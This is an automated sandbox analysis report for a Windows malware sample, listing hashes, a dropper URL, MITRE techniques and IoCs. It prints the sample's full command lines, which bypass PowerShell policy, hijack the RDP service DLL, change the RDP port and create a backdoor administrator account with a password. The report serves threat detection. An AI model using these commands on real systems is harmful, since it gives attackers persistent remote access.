9d2a3042c4e2d68df7a39cd7efae7c64f2b7ed5ae507bac9282e154591757724

Analysis

max time kernel
47s
max time network
127s
platform
windows10_x64
resource
win10v20210410
submitted
16-06-2021 09:27

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General

Target

6efc7601be401f3e9b49f4f2cf63fee9.exe
Size

6.0MB
MD5

6efc7601be401f3e9b49f4f2cf63fee9
SHA1

6c975b9f64a3e0840c43f11571bc4b1bccdc3d83
SHA256

9d2a3042c4e2d68df7a39cd7efae7c64f2b7ed5ae507bac9282e154591757724
SHA512

87998010dd888280388f65637945aca1c641c45ad482d9abb193b1f00c5838aff22dcec68c695feb357dab26f536edd8364640cda4814de461c506b1ff288c7a

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
18	500	powershell.exe
20	500	powershell.exe
21	500	powershell.exe
22	500	powershell.exe
24	500	powershell.exe
26	500	powershell.exe
28	500	powershell.exe
30	500	powershell.exe
32	500	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000001ab4f-224.dat	upx
behavioral2/files/0x000500000001ab51-225.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
2604	Process not Found
2604	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6F7C.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_xp2iwcz4.qed.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6F4C.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_e10aep5e.w40.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6F0B.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6F8C.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6F2C.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 339704ea112ed701	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2684	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
196	powershell.exe
196	powershell.exe
196	powershell.exe
1032	powershell.exe
1032	powershell.exe
1032	powershell.exe
3844	powershell.exe
3844	powershell.exe
3844	powershell.exe
3536	powershell.exe
3536	powershell.exe
3536	powershell.exe
196	powershell.exe
196	powershell.exe
196	powershell.exe
500	powershell.exe
500	powershell.exe
500	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
616	Process not Found
616	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	196	powershell.exe
Token: SeDebugPrivilege	1032	powershell.exe
Token: SeIncreaseQuotaPrivilege	1032	powershell.exe
Token: SeSecurityPrivilege	1032	powershell.exe
Token: SeTakeOwnershipPrivilege	1032	powershell.exe
Token: SeLoadDriverPrivilege	1032	powershell.exe
Token: SeSystemProfilePrivilege	1032	powershell.exe
Token: SeSystemtimePrivilege	1032	powershell.exe
Token: SeProfSingleProcessPrivilege	1032	powershell.exe
Token: SeIncBasePriorityPrivilege	1032	powershell.exe
Token: SeCreatePagefilePrivilege	1032	powershell.exe
Token: SeBackupPrivilege	1032	powershell.exe
Token: SeRestorePrivilege	1032	powershell.exe
Token: SeShutdownPrivilege	1032	powershell.exe
Token: SeDebugPrivilege	1032	powershell.exe
Token: SeSystemEnvironmentPrivilege	1032	powershell.exe
Token: SeRemoteShutdownPrivilege	1032	powershell.exe
Token: SeUndockPrivilege	1032	powershell.exe
Token: SeManageVolumePrivilege	1032	powershell.exe
Token: 33	1032	powershell.exe
Token: 34	1032	powershell.exe
Token: 35	1032	powershell.exe
Token: 36	1032	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeIncreaseQuotaPrivilege	3844	powershell.exe
Token: SeSecurityPrivilege	3844	powershell.exe
Token: SeTakeOwnershipPrivilege	3844	powershell.exe
Token: SeLoadDriverPrivilege	3844	powershell.exe
Token: SeSystemProfilePrivilege	3844	powershell.exe
Token: SeSystemtimePrivilege	3844	powershell.exe
Token: SeProfSingleProcessPrivilege	3844	powershell.exe
Token: SeIncBasePriorityPrivilege	3844	powershell.exe
Token: SeCreatePagefilePrivilege	3844	powershell.exe
Token: SeBackupPrivilege	3844	powershell.exe
Token: SeRestorePrivilege	3844	powershell.exe
Token: SeShutdownPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeSystemEnvironmentPrivilege	3844	powershell.exe
Token: SeRemoteShutdownPrivilege	3844	powershell.exe
Token: SeUndockPrivilege	3844	powershell.exe
Token: SeManageVolumePrivilege	3844	powershell.exe
Token: 33	3844	powershell.exe
Token: 34	3844	powershell.exe
Token: 35	3844	powershell.exe
Token: 36	3844	powershell.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeIncreaseQuotaPrivilege	3536	powershell.exe
Token: SeSecurityPrivilege	3536	powershell.exe
Token: SeTakeOwnershipPrivilege	3536	powershell.exe
Token: SeLoadDriverPrivilege	3536	powershell.exe
Token: SeSystemProfilePrivilege	3536	powershell.exe
Token: SeSystemtimePrivilege	3536	powershell.exe
Token: SeProfSingleProcessPrivilege	3536	powershell.exe
Token: SeIncBasePriorityPrivilege	3536	powershell.exe
Token: SeCreatePagefilePrivilege	3536	powershell.exe
Token: SeBackupPrivilege	3536	powershell.exe
Token: SeRestorePrivilege	3536	powershell.exe
Token: SeShutdownPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeSystemEnvironmentPrivilege	3536	powershell.exe
Token: SeRemoteShutdownPrivilege	3536	powershell.exe
Token: SeUndockPrivilege	3536	powershell.exe
Token: SeManageVolumePrivilege	3536	powershell.exe
Token: 33	3536	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3872 wrote to memory of 196	3872	6efc7601be401f3e9b49f4f2cf63fee9.exe	76
PID 3872 wrote to memory of 196	3872	6efc7601be401f3e9b49f4f2cf63fee9.exe	76
PID 196 wrote to memory of 3464	196	powershell.exe	78
PID 196 wrote to memory of 3464	196	powershell.exe	78
PID 3464 wrote to memory of 3300	3464	csc.exe	79
PID 3464 wrote to memory of 3300	3464	csc.exe	79
PID 196 wrote to memory of 1032	196	powershell.exe	82
PID 196 wrote to memory of 1032	196	powershell.exe	82
PID 196 wrote to memory of 3844	196	powershell.exe	85
PID 196 wrote to memory of 3844	196	powershell.exe	85
PID 196 wrote to memory of 3536	196	powershell.exe	87
PID 196 wrote to memory of 3536	196	powershell.exe	87
PID 196 wrote to memory of 4032	196	powershell.exe	90
PID 196 wrote to memory of 4032	196	powershell.exe	90
PID 196 wrote to memory of 2684	196	powershell.exe	91
PID 196 wrote to memory of 2684	196	powershell.exe	91
PID 196 wrote to memory of 3580	196	powershell.exe	92
PID 196 wrote to memory of 3580	196	powershell.exe	92
PID 196 wrote to memory of 3816	196	powershell.exe	93
PID 196 wrote to memory of 3816	196	powershell.exe	93
PID 3816 wrote to memory of 2228	3816	net.exe	94
PID 3816 wrote to memory of 2228	3816	net.exe	94
PID 196 wrote to memory of 1184	196	powershell.exe	95
PID 196 wrote to memory of 1184	196	powershell.exe	95
PID 1184 wrote to memory of 2592	1184	cmd.exe	96
PID 1184 wrote to memory of 2592	1184	cmd.exe	96
PID 2592 wrote to memory of 3864	2592	cmd.exe	97
PID 2592 wrote to memory of 3864	2592	cmd.exe	97
PID 3864 wrote to memory of 2736	3864	net.exe	98
PID 3864 wrote to memory of 2736	3864	net.exe	98
PID 196 wrote to memory of 3844	196	powershell.exe	99
PID 196 wrote to memory of 3844	196	powershell.exe	99
PID 3844 wrote to memory of 3608	3844	cmd.exe	100
PID 3844 wrote to memory of 3608	3844	cmd.exe	100
PID 3608 wrote to memory of 3452	3608	cmd.exe	101
PID 3608 wrote to memory of 3452	3608	cmd.exe	101
PID 3452 wrote to memory of 2760	3452	net.exe	102
PID 3452 wrote to memory of 2760	3452	net.exe	102
PID 3860 wrote to memory of 2684	3860	cmd.exe	106
PID 3860 wrote to memory of 2684	3860	cmd.exe	106
PID 2684 wrote to memory of 3580	2684	net.exe	107
PID 2684 wrote to memory of 3580	2684	net.exe	107
PID 2768 wrote to memory of 2628	2768	cmd.exe	110
PID 2768 wrote to memory of 2628	2768	cmd.exe	110
PID 2628 wrote to memory of 3864	2628	net.exe	111
PID 2628 wrote to memory of 3864	2628	net.exe	111
PID 1068 wrote to memory of 2896	1068	cmd.exe	114
PID 1068 wrote to memory of 2896	1068	cmd.exe	114
PID 2896 wrote to memory of 3964	2896	net.exe	115
PID 2896 wrote to memory of 3964	2896	net.exe	115
PID 2880 wrote to memory of 1556	2880	cmd.exe	118
PID 2880 wrote to memory of 1556	2880	cmd.exe	118
PID 1556 wrote to memory of 1868	1556	net.exe	119
PID 1556 wrote to memory of 1868	1556	net.exe	119
PID 3712 wrote to memory of 500	3712	cmd.exe	122
PID 3712 wrote to memory of 500	3712	cmd.exe	122
PID 500 wrote to memory of 3584	500	net.exe	123
PID 500 wrote to memory of 3584	500	net.exe	123
PID 1800 wrote to memory of 3572	1800	cmd.exe	126
PID 1800 wrote to memory of 3572	1800	cmd.exe	126
PID 3572 wrote to memory of 3948	3572	net.exe	127
PID 3572 wrote to memory of 3948	3572	net.exe	127
PID 3580 wrote to memory of 3248	3580	cmd.exe	130
PID 3580 wrote to memory of 3248	3580	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\6efc7601be401f3e9b49f4f2cf63fee9.exe
"C:\Users\Admin\AppData\Local\Temp\6efc7601be401f3e9b49f4f2cf63fee9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:196
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t4xh1e0g\t4xh1e0g.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3464
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3AFB.tmp" "c:\Users\Admin\AppData\Local\Temp\t4xh1e0g\CSC62D46012FF8B4063B6E193BF5E010F6.TMP"
      4⤵
      PID:3300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3536
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:4032
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2684
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3580
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3816
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2228
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1184
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2592
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3864
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2736
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3608
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3452
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2760
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:3768
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2712

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3860
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:3580

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc wWiu6ERi /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc wWiu6ERi /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc wWiu6ERi /add
    3⤵
    PID:3864

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1068
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3964

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:1868

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3712
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3584

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc wWiu6ERi
1⤵
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc wWiu6ERi
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3572
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc wWiu6ERi
    3⤵
    PID:3948

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:3248

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
